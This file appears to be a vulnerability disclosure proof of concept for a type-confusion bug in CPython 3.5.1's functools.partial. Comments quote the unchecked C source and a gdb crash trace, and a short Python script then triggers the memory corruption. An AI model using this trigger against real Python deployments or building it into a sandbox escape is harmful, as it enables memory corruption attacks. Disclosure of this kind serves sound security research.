# static PyObject * # partial_setstate(partialobject *pto, PyObject *state) # { # PyObject *fn, *fnargs, *kw, *dict; # if (!PyArg_ParseTuple(state, "OOOO", # &fn, &fnargs, &kw, &dict)) # return NULL; # Py_XDECREF(pto->fn); # Py_XDECREF(pto->args); # Py_XDECREF(pto->kw); # Py_XDECREF(pto->dict); # pto->fn = fn; # pto->args = fnargs; //we control pto->args here # `partial_setstate` performs no checks on the objects # it is passed as an argument. # static PyObject * # partial_call(partialobject *pto, PyObject *args, PyObject *kw) # { # PyObject *ret; # PyObject *argappl = NULL, *kwappl = NULL; # assert (PyCallable_Check(pto->fn)); # assert (PyTuple_Check(pto->args)); //assume pto->args is a tuple # //assertion not present in release build # assert (pto->kw == Py_None || PyDict_Check(pto->kw)); # if (PyTuple_GET_SIZE(pto->args) == 0) { # argappl = args; # Py_INCREF(args); # } else if (PyTuple_GET_SIZE(args) == 0) { # argappl = pto->args; //partial function called with no arguments # Py_INCREF(pto->args); # } else { # argappl = PySequence_Concat(pto->args, args); # if (argappl == NULL) # return NULL; # } # if (pto->kw == Py_None) { # kwappl = kw; # Py_XINCREF(kw); # } else { # kwappl = PyDict_Copy(pto->kw); # if (kwappl == NULL) { # Py_DECREF(argappl); # return NULL; # } # if (kw != NULL) { # if (PyDict_Merge(kwappl, kw, 1) != 0) { # Py_DECREF(argappl); # Py_DECREF(kwappl); # return NULL; # } # } # } # ret = PyObject_Call(pto->fn, argappl, kwappl); //pto->fn called with non-tuple argappl # We can see that in the provided POC there is an increment on a user-controlled address. # (in this case, the literal refcount of a given "argument" is interpreted as a pointer) # vagrant@vagrant-ubuntu-wily-64:/vagrant/Python-3.5.1$ gdb -q ./python.exe # ... # (gdb) r partialpoc2.py # Starting program: /vagrant/Python-3.5.1/python.exe partialpoc2.py # ... # Program received signal SIGSEGV, Segmentation fault. # _PyEval_EvalCodeWithName (_co=0x7ffff7045ae0, globals=, locals=locals@entry=0x0, args=args@entry=0x7ffff6fbc520, argcount=1280, kws=kws@entry=0x0, kwcount=0, defs=0x0, defcount=0, # kwdefs=0x0, closure=0x0, name=0x0, qualname=0x0) at Python/ceval.c:3793 # 3793 Py_INCREF(x); # (gdb) i r # rax 0x9b4b68 10177384 # rbx 0x7ffff6fbc520 140737337083168 # rcx 0x1 1 # rdx 0x2 2 # rsi 0x500 1280 # rdi 0x0 0 # rbp 0x0 0x0 # rsp 0x7fffffffdb30 0x7fffffffdb30 # r8 0x500 1280 # r9 0x0 0 # r10 0x7ffff74a6c58 140737342237784 # r11 0x9b4b40 10177344 # r12 0x0 0 # r13 0x0 0 # r14 0x7ffff6fb91e0 140737337070048 # r15 0x7ffff7e1a048 140737352147016 # rip 0x4fc771 0x4fc771 <_PyEval_EvalCodeWithName+961> # eflags 0x10202 [ IF RF ] # cs 0x33 51 # ss 0x2b 43 # ds 0x0 0 # es 0x0 0 # fs 0x0 0 # gs 0x0 0 # (gdb) x/3i $pc # => 0x4fc771 <_PyEval_EvalCodeWithName+961>: addq $0x1,(%rsi) # 0x4fc775 <_PyEval_EvalCodeWithName+965>: cmp %edx,%r8d # 0x4fc778 <_PyEval_EvalCodeWithName+968>: mov %rsi,0x18(%rax,%rcx,8) import _functools from struct import pack def test(*args): pass p = _functools.partial(test) p.__setstate__((test, ["A"]*0x500, None, None)) p()